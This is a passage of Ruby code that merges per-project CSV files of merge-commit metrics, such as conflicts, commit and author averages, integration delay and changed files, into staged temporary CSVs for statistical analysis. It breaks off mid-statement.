"def generateCVSToStatisticAnalysis (projectName, localClone, pathInput,pathOutput)\n\t\tprefixProjectName = formatProjectName(projectName)\n\t\t\n\t\tlistSlices = []\n\t\tlistConflictsAndFiles = []\n\t\tlistNumberOfCommits = []\n\t\tlistNumberOfAuthors = []\n\t\tlistDelayDeltaIntegration = []\n\t\tlistMinimumLifeTime = []\n\t\tlistNmberOfChangedFiles = []\n\t\tlistNumberOfChangedLines = []\n\t\tlistContributionConclusionDelay = []\n\t\tlistPackages = []\n\n\t\tFile.open(localClone+pathOutput+prefixProjectName+\"_CommitList.csv\", 'r') do |mainMerges|\n\t\t\twhile line = mainMerges.gets \n\t\t\t\tmainMerges.each_line do |line|\n\t\t\t\t\tcamposMainMerge = line.split(\",\")\n\t\t\t\t\tFile.open(localClone+pathInput+prefixProjectName+\".csv\", 'r') do |auxMerges| \n\t\t\t\t\t\twhile lineAux = auxMerges.gets \n\t\t\t\t\t\t\tauxMerges.each_line do |lineAux|\n\t\t\t\t\t\t\tcamposAuxMerge = lineAux.split(\",\")\n\t\t\t\t\t\t\tif camposMainMerge[0].gsub(\"\\\"\",\"\").eql?(camposAuxMerge[0].gsub(\"\\\"\",\"\"))\n\t\t\t\t\t\t\t\tmergeCommitID = camposMainMerge[0].gsub(\"\\\"\",\"\")\n\t\t\t\t\t\t\t\tisConflicting = \"0\"\n\t\t\t\t\t\t\t\tif camposMainMerge[1].gsub(\"\\\"\",\"\").eql?(\"true\")\n\t\t\t\t\t\t\t\t\tisConflicting = \"1\"\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\texistsCommonSlice = camposAuxMerge[2].gsub(\"\\\"\",\"\")\n\t\t\t\t\t\t\t\ttotalCommonSlices = camposAuxMerge[3].gsub(\"\\\"\",\"\")\n\t\t\t\t\t\t\t\tdados = mergeCommitID+\",\"+isConflicting+\",\"+existsCommonSlice+\",\"+totalCommonSlices\n\t\t\t\t\t\t\t\tlistSlices.push(dados)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend #each_line\n\t\t\t\t\t\tend #while\n\t\t\t\t\tend # File.open\n\t\t\t\tend #each_line\n\t\t\tend #while\n\t\tend # File.open\n\n\t\tFile.open(localClone+pathOutput+\"tmp/\"+prefixProjectName+\"_Slices.csv\", 'w') do |file|\n\t\t\tfile.puts \"mergeCommitID, isConflicting, existsCommonSlice, totalCommonSlices\"\n\t\t\tlistSlices.each do |dado|\n\t\t\t\tfile.puts \"#{dado}\"\n\t\t\tend\n\t\tend\n\n\t\tFile.open(localClone+pathOutput+\"tmp/\"+prefixProjectName+\"_Slices.csv\", 'r') do |mainMerges|\n\t\t\t#while line = mainMerges.gets \n\t\t\t\tmainMerges.each_line do |line|\n\t\t\t\t\tcamposMainMerge = line.split(\",\")\n\t\t\t\t\tdados=\"\"\n\t\t\t\t\tif camposMainMerge[1].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\").eql?(\"0\")\n\t\t\t\t\t\tmergeCommitID = camposMainMerge[0].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\tisConflicting = camposMainMerge[1].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\texistsCommonSlice = camposMainMerge[2].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\ttotalCommonSlices = camposMainMerge[3].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\tconflictingFilesNumber = \"0\"\n\t\t\t\t\t\tconflictsNumber = \"0\"\n\t\t\t\t\t\tdados = mergeCommitID+\",\"+isConflicting+\",\"+existsCommonSlice+\",\"+totalCommonSlices+\",\"+conflictingFilesNumber+\",\"+conflictsNumber\n\t\t\t\t\t\tlistConflictsAndFiles.push(dados)\n\t\t\t\t\telsif camposMainMerge[1].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\").eql?(\"1\")\t\t\t\t\t\n\t\t\t\t\t\tFile.open(localClone+pathInput+prefixProjectName+\"_MergeScenarioList.csv\", 'r') do |auxMerges|\n\t\t\t\t#\t\t\twhile lineAux = auxMerges.gets \n\t\t\t\t\t\t\t\tauxMerges.each_line do |lineAux|\n\t\t\t\t\t\t\t\t\tcamposAuxMerge = lineAux.split(\",\")\n\t\t\t\t\t\t\t\t\tif camposMainMerge[0].gsub(\"\\\"\",\"\").eql?(camposAuxMerge[0].gsub(\"\\\"\",\"\"))\n\t\t\t\t\t\t\t\t\t\tmergeCommitID = camposMainMerge[0].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tisConflicting = camposMainMerge[1].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\texistsCommonSlice = camposMainMerge[2].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\ttotalCommonSlices = camposMainMerge[3].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\t#conflictingFilesNumber = camposAuxMerge[1].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tconflictingFilesNumber = camposAuxMerge[2].to_s.split(\"@\").length.to_s #.gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tconflictsNumber = camposAuxMerge[8].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tdados = mergeCommitID+\",\"+isConflicting+\",\"+existsCommonSlice+\",\"+totalCommonSlices+\",\"+conflictingFilesNumber+\",\"+conflictsNumber\n\t\t\t\t\t\t\t\t\t\tlistConflictsAndFiles.push(dados)\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tend #each_line\n\t\t\t#\t\t\t\tend #while\n\t\t\t\t\t\tend # File.open\n\t\t\t\t\tend# elsif\n\t\t\t\tend #each_line\n\t\t#\tend #while\n\t\tend # File.open\n\n\t\tFile.open(localClone+pathOutput+\"tmp/\"+prefixProjectName+\"_ConflictingFilesAndConflicts.csv\", 'w') do |file|\n\t\t\tfile.puts \"mergeCommitID, isConflicting, existsCommonSlice, totalCommonSlices, conflictingFilesNumber, conflictsNumber\"\n\t\t\tlistConflictsAndFiles.each do |dado|\n\t\t\t\tfile.puts \"#{dado}\"\n\t\t\tend\n\t\tend\n\n\t\tFile.open(localClone+pathOutput+\"tmp/\"+prefixProjectName+\"_ConflictingFilesAndConflicts.csv\", 'r') do |mainMerges| \n\t\t\t#while line = mainMerges.gets \n\t\t\t\tmainMerges.each_line do |line|\n\t\t\t\t\tcamposMainMerge = line.split(\",\")\n\t\t\t\t\t\tFile.open(localClone+pathOutput+prefixProjectName+\"_CommitList.csv\", 'r') do |auxMerges| \n\t\t\t\t#\t\t\twhile lineAux = auxMerges.gets \n\t\t\t\t\t\t\t\tauxMerges.each_line do |lineAux|\n\t\t\t\t\t\t\t\t\tcamposAuxMerge = lineAux.split(\",\")\n\t\t\t\t\t\t\t\t\tif camposMainMerge[0].gsub(\"\\\"\",\"\").eql?(camposAuxMerge[0].gsub(\"\\\"\",\"\"))\n\t\t\t\t\t\t\t\t\t\tmergeCommitID = camposMainMerge[0].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tisConflicting = camposMainMerge[1].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\texistsCommonSlice = camposMainMerge[2].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\ttotalCommonSlices = camposMainMerge[3].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tconflictingFilesNumber = camposMainMerge[4].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tconflictsNumber = camposMainMerge[5].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tnumberOfCommitsArithAverage = camposAuxMerge[8].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")#8\n\t\t\t\t\t\t\t\t\t\tnumberOfCommitsGeoAverage = camposAuxMerge[9].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")#8#9\n\t\t\t\t\t\t\t\t\t\tdados = mergeCommitID+\",\"+isConflicting+\",\"+existsCommonSlice+\",\"+totalCommonSlices+\",\"+conflictingFilesNumber+\",\"+conflictsNumber+\",\"+numberOfCommitsArithAverage+\",\"+numberOfCommitsGeoAverage\n\t\t\t\t\t\t\t\t\t\tlistNumberOfCommits.push(dados)\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tend #each_line\n\t\t\t#\t\t\t\tend #while\n\t\t\t\t\t\tend # File.open\n\t\t\t\tend #each_line\n\t\t#\tend #while\n\t\tend # File.open\n\n\t\tFile.open(localClone+pathOutput+\"tmp/\"+prefixProjectName+\"_NumberOfCommits.csv\", 'w') do |file|\n\t\t\tfile.puts \"mergeCommitID, isConflicting, existsCommonSlice, totalCommonSlices, conflictingFilesNumber, conflictsNumber, numberOfCommitsArithAverage, numberOfCommitsGeoAverage\"\n\t\t\tlistNumberOfCommits.each do |dado|\n\t\t\t\tfile.puts \"#{dado}\"\n\t\t\tend\n\t\tend\n\n\n\t\tFile.open(localClone+pathOutput+\"tmp/\"+prefixProjectName+\"_NumberOfCommits.csv\", 'r') do |mainMerges| \n\t\t\t#while line = mainMerges.gets \n\t\t\t\tmainMerges.each_line do |line|\n\t\t\t\t\tcamposMainMerge = line.split(\",\")\n\t\t\t\t\t\tFile.open(localClone+pathOutput+prefixProjectName+\"_AuthorList.csv\", 'r') do |auxMerges| \n\t\t\t\t#\t\t\twhile lineAux = auxMerges.gets \n\t\t\t\t\t\t\t\tauxMerges.each_line do |lineAux|\n\t\t\t\t\t\t\t\t\tcamposAuxMerge = lineAux.split(\",\")\n\t\t\t\t\t\t\t\t\tif camposMainMerge[0].gsub(\"\\\"\",\"\").eql?(camposAuxMerge[0].gsub(\"\\\"\",\"\"))\n\t\t\t\t\t\t\t\t\t\tmergeCommitID = camposMainMerge[0].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tisConflicting = camposMainMerge[1].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\texistsCommonSlice = camposMainMerge[2].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\ttotalCommonSlices = camposMainMerge[3].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tconflictingFilesNumber = camposMainMerge[4].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tconflictsNumber = camposMainMerge[5].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tnumberOfCommitsArithAverage = camposMainMerge[6].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tnumberOfCommitsGeoAverage = camposMainMerge[7].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tnumberOfAuthorsArithAverage = camposAuxMerge[5].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tnumberOfAuthorsGeoAverage = camposAuxMerge[6].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\tdados = mergeCommitID+\",\"+isConflicting+\",\"+existsCommonSlice+\",\"+totalCommonSlices+\",\"+conflictingFilesNumber+\",\"+conflictsNumber+\",\"+numberOfCommitsArithAverage+\",\"+numberOfCommitsGeoAverage+\",\"+numberOfAuthorsArithAverage+\",\"+numberOfAuthorsGeoAverage\n\t\t\t\t\t\t\t\t\t\tlistNumberOfAuthors.push(dados)\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tend #each_line\n\t\t\t#\t\t\t\tend #while\n\t\t\t\t\t\tend # File.open\n\t\t\t\tend #each_line\n\t\t#\tend #while\n\t\tend # File.open\n\n\t\tFile.open(localClone+pathOutput+\"tmp/\"+prefixProjectName+\"_NumberOfAuhtors.csv\", 'w') do |file|\n\t\t\tfile.puts \"mergeCommitID, isConflicting, existsCommonSlice, totalCommonSlices, conflictingFilesNumber, conflictsNumber, numberOfCommitsArithAverage, numberOfCommitsGeoAverage, numberOfAuthorsArithAverage, numberOfAuthorsGeoAverage\"\n\t\t\tlistNumberOfAuthors.each do |dado|\n\t\t\t\tfile.puts \"#{dado}\"\n\t\t\tend\n\t\tend\n\t\t\n\t\t# Deprecated - generate csv with delay and delta integration - metrics not used anymore\n\t\tFile.open(localClone+pathOutput+\"tmp/\"+prefixProjectName+\"_NumberOfAuhtors.csv\", 'r') do |mainMerges| \n\t\t\twhile line = mainMerges.gets\n\t\t\t\tmainMerges.each_line do |line|\n\t\t\t\t\tcamposMainMerge = line.split(\",\")\n\t\t\t\t\t\tFile.open(localClone+pathOutput+prefixProjectName+\"_DelayDeltaIntegrationList.csv\", 'r') do |auxMerges|\n\t\t\t\t\t\t\twhile lineAux = auxMerges.gets\n\t\t\t\t\t\t\t\tauxMerges.each_line do |lineAux|\n\t\t\t\t\t\t\t\t\tcamposAuxMerge = lineAux.split(\",\")\n\t\t\t\t\t\t\t\t\tif camposMainMerge[0].gsub(\"\\\"\",\"\").eql?(camposAuxMerge[0].gsub(\"\\\"\",\"\"))\n\t\t\t\t\t\t\t\t\t\tmergeCommitID = camposMainMerge[0].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tisConflicting = camposMainMerge[1].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\texistsCommonSlice = camposMainMerge[2].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\ttotalCommonSlices = camposMainMerge[3].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tconflictingFilesNumber = camposMainMerge[4].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tconflictsNumber = camposMainMerge[5].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tnumberOfCommitsArithAverage = camposMainMerge[6].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tnumberOfCommitsGeoAverage = camposMainMerge[7].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tnumberOfAuthorsArithAverage = camposMainMerge[8].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tnumberOfAuthorsGeoAverage = camposMainMerge[9].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tdelayIntegrationArithAverage = camposAuxMerge[4].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tdelayIntegrationGeoAverage = camposAuxMerge[5].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tdeltaIntegration = camposAuxMerge[6].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tdados = mergeCommitID+\",\"+isConflicting+\",\"+existsCommonSlice+\",\"+totalCommonSlices+\",\"+conflictingFilesNumber+\",\"+conflictsNumber+\",\"+numberOfCommitsArithAverage+\",\"+numberOfCommitsGeoAverage+\",\"+numberOfAuthorsArithAverage+\",\"+numberOfAuthorsGeoAverage+\",\"+delayIntegrationArithAverage+\",\"+delayIntegrationGeoAverage+\",\"+deltaIntegration\n\t\t\t\t\t\t\t\t\t\tlistDelayDeltaIntegration.push(dados)\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tend #each_line\n\t\t\t\t\t\t\tend #while\n\t\t\t\t\t\tend # File.open\n\t\t\t\tend #each_line\n\t\t\tend #while\n\t\tend # File.open\n\n\t\tFile.open(localClone+pathOutput+\"tmp/\"+prefixProjectName+\"_DelayAndDeltaIntegration.csv\", 'w') do |file|\n\t\t\tfile.puts \"mergeCommitID, isConflicting, existsCommonSlice, totalCommonSlices, conflictingFilesNumber, conflictsNumber, numberOfCommitsArithAverage, numberOfCommitsGeoAverage, numberOfAuthorsArithAverage, numberOfAuthorsGeoAverage, delayIntegrationArithAverage, delayIntegrationGeoAverage, deltaIntegration\"\n\t\t\tlistDelayDeltaIntegration.each do |dado|\n\t\t\t\tfile.puts \"#{dado}\"\n\t\t\tend\n\t\tend\n\n\t\tFile.open(localClone+pathOutput+\"tmp/\"+prefixProjectName+\"_DelayAndDeltaIntegration.csv\", 'r') do |mainMerges| \n\t\t\twhile line = mainMerges.gets\n\t\t\t\tmainMerges.each_line do |line|\n\t\t\t\t\tcamposMainMerge = line.split(\",\")\n\t\t\t\t\t\tFile.open(localClone+pathOutput+prefixProjectName+\"_LifetimeAuthorDateList.csv\", 'r') do |auxMerges| \n\t\t\t\t\t\t\twhile lineAux = auxMerges.gets\n\t\t\t\t\t\t\t\tauxMerges.each_line do |lineAux|\n\t\t\t\t\t\t\t\t\tcamposAuxMerge = lineAux.split(\",\")\n\t\t\t\t\t\t\t\t\tif camposMainMerge[0].gsub(\"\\\"\",\"\").eql?(camposAuxMerge[0].gsub(\"\\\"\",\"\"))\n\t\t\t\t\t\t\t\t\t\tmergeCommitID = camposMainMerge[0].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tisConflicting = camposMainMerge[1].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\texistsCommonSlice = camposMainMerge[2].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\ttotalCommonSlices = camposMainMerge[3].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tconflictingFilesNumber = camposMainMerge[4].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tconflictsNumber = camposMainMerge[5].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tnumberOfCommitsArithAverage = camposMainMerge[6].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tnumberOfCommitsGeoAverage = camposMainMerge[7].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tnumberOfAuthorsArithAverage = camposMainMerge[8].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tnumberOfAuthorsGeoAverage = camposMainMerge[9].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tdelayIntegrationArithAverage = camposMainMerge[10].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tdelayIntegrationGeoAverage = camposMainMerge[11].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tdeltaIntegration = camposMainMerge[12].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tminimumLifeTimeArithAverage = camposAuxMerge[4].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tminimumLifeTimeGeoAverage = camposAuxMerge[5].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tdados = mergeCommitID+\",\"+isConflicting+\",\"+existsCommonSlice+\",\"+totalCommonSlices+\",\"+conflictingFilesNumber+\",\"+conflictsNumber+\",\"+numberOfCommitsArithAverage+\",\"+numberOfCommitsGeoAverage+\",\"+numberOfAuthorsArithAverage+\",\"+numberOfAuthorsGeoAverage+\",\"+delayIntegrationArithAverage+\",\"+delayIntegrationGeoAverage+\",\"+deltaIntegration+\",\"+minimumLifeTimeArithAverage+\",\"+minimumLifeTimeGeoAverage\n\t\t\t\t\t\t\t\t\t\tlistMinimumLifeTime.push(dados)\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tend #each_line\n\t\t\t\t\t\t\tend #while\n\t\t\t\t\t\tend # File.open\n\t\t\t\tend #each_line\n\t\t\tend #while\n\t\tend # File.open\n\n\t\tFile.open(localClone+pathOutput+\"tmp/\"+prefixProjectName+\"_MinimumLifeTime.csv\", 'w') do |file|\n\t\t\tfile.puts \"mergeCommitID, isConflicting, existsCommonSlice, totalCommonSlices, conflictingFilesNumber, conflictsNumber, numberOfCommitsArithAverage, numberOfCommitsGeoAverage, numberOfAuthorsArithAverage, numberOfAuthorsGeoAverage, delayIntegrationArithAverage, delayIntegrationGeoAverage, deltaIntegration, minimumLifeTimeArithAverage, minimumLifeTimeGeoAverage\"\n\t\t\tlistMinimumLifeTime.each do |dado|\n\t\t\t\tfile.puts \"#{dado}\"\n\t\t\tend\n\t\tend\n\n\t\tFile.open(localClone+pathOutput+\"tmp/\"+prefixProjectName+\"_MinimumLifeTime.csv\", 'r') do |mainMerges| \n\t\t\twhile line = mainMerges.gets\n\t\t\t\tmainMerges.each_line do |line|\n\t\t\t\t\tcamposMainMerge = line.split(\",\")\n\t\t\t\t\t\tFile.open(localClone+pathOutput+prefixProjectName+\"_NumberOfChangedFiles.csv\", 'r') do |auxMerges| \n\t\t\t\t\t\t\twhile lineAux = auxMerges.gets\n\t\t\t\t\t\t\t\tauxMerges.each_line do |lineAux|\n\t\t\t\t\t\t\t\t\tcamposAuxMerge = lineAux.split(\",\")\n\t\t\t\t\t\t\t\t\tif camposMainMerge[0].gsub(\"\\\"\",\"\").eql?(camposAuxMerge[0].gsub(\"\\\"\",\"\"))\n\t\t\t\t\t\t\t\t\t\tmergeCommitID = camposMainMerge[0].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tisConflicting = camposMainMerge[1].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\texistsCommonSlice = camposMainMerge[2].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\ttotalCommonSlices = camposMainMerge[3].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tconflictingFilesNumber = camposMainMerge[4].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tconflictsNumber = camposMainMerge[5].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tnumberOfCommitsArithAverage = camposMainMerge[6].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tnumberOfCommitsGeoAverage = camposMainMerge[7].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tnumberOfAuthorsArithAverage = camposMainMerge[8].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tnumberOfAuthorsGeoAverage = camposMainMerge[9].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tdelayIntegrationArithAverage = camposMainMerge[10].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tdelayIntegrationGeoAverage = camposMainMerge[11].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tdeltaIntegration = camposMainMerge[12].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tminimumLifeTimeArithAverage = camposMainMerge[13].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tminimumLifeTimeGeoAverage = camposMainMerge[14].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tnumberOfChangedFilesArithAverage = camposAuxMerge[4].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tnumberOfChangedFilesGeoAverage = camposAuxMerge[5].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\tdados = mergeCommitID+\",\"+isConflicting+\",\"+existsCommonSlice+\",\"+totalCommonSlices+\",\"+conflictingFilesNumber+\",\"+conflictsNumber+\",\"+numberOfCommitsArithAverage+\",\"+numberOfCommitsGeoAverage+\",\"+numberOfAuthorsArithAverage+\",\"+numberOfAuthorsGeoAverage+\",\"+delayIntegrationArithAverage+\",\"+delayIntegrationGeoAverage+\",\"+deltaIntegration+\",\"+minimumLifeTimeArithAverage+\",\"+minimumLifeTimeGeoAverage+\",\"+numberOfChangedFilesArithAverage+\",\"+numberOfChangedFilesGeoAverage\n\t\t\t\t\t\t\t\t\t\tlistNmberOfChangedFiles.push(dados)\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tend #each_line\n\t\t\t\t\t\t\tend #while\n\t\t\t\t\t\tend # File.open\n\t\t\t\tend #each_line\n\t\t\tend #while\n\t\tend # File.open\n\n\t\tFile.open(localClone+pathOutput+\"tmp/\"+prefixProjectName+\"_NumberOfChangedFiles.csv\", 'w') do |file|\n\t\t\tfile.puts \"mergeCommitID, isConflicting, existsCommonSlice, totalCommonSlices, conflictingFilesNumber, conflictsNumber, numberOfCommitsArithAverage, numberOfCommitsGeoAverage, numberOfAuthorsArithAverage, numberOfAuthorsGeoAverage, delayIntegrationArithAverage, delayIntegrationGeoAverage, deltaIntegration, minimumLifeTimeArithAverage, minimumLifeTimeGeoAverage, numberOfChangedFilesArithAverage, numberOfChangedFilesGeoAverage\"\n\t\t\tlistNmberOfChangedFiles.each do |dado|\n\t\t\t\tfile.puts \"#{dado}\"\n\t\t\tend\n\t\tend\n\n\n\t\tFile.open(localClone+pathOutput+\"tmp/\"+prefixProjectName+\"_NumberOfChangedFiles.csv\", 'r') do |mainMerges| \n\t\t\twhile line = mainMerges.gets\n\t\t\t\tmainMerges.each_line do |line|\n\t\t\t\t\tcamposMainMerge = line.split(\",\")\n\t\t\t\t\t\tFile.open(localClone+pathOutput+prefixProjectName+\"_NumberOfChangedLines.csv\", 'r') do |auxMerges| \n\t\t\t\t\t\t\twhile lineAux = auxMerges.gets\n\t\t\t\t\t\t\t\tauxMerges.each_line do |lineAux|\n\t\t\t\t\t\t\t\t\tcamposAuxMerge = lineAux.split(\",\")\n\t\t\t\t\t\t\t\t\tif camposMainMerge[0].gsub(\"\\\"\",\"\").eql?(camposAuxMerge[0].gsub(\"\\\"\",\"\"))\n\t\t\t\t\t\t\t\t\t\tmergeCommitID = camposMainMerge[0].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tisConflicting = camposMainMerge[1].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\texistsCommonSlice = camposMainMerge[2].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\ttotalCommonSlices = camposMainMerge[3].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tconflictingFilesNumber = camposMainMerge[4].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tconflictsNumber = camposMainMerge[5].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tnumberOfCommitsArithAverage = camposMainMerge[6].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tnumberOfCommitsGeoAverage = camposMainMerge[7].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tnumberOfAuthorsArithAverage = camposMainMerge[8].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tnumberOfAuthorsGeoAverage = camposMainMerge[9].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tdelayIntegrationArithAverage = camposMainMerge[10].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tdelayIntegrationGeoAverage = camposMainMerge[11].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tdeltaIntegration = camposMainMerge[12].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tminimumLifeTimeArithAverage = camposMainMerge[13].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tminimumLifeTimeGeoAverage = 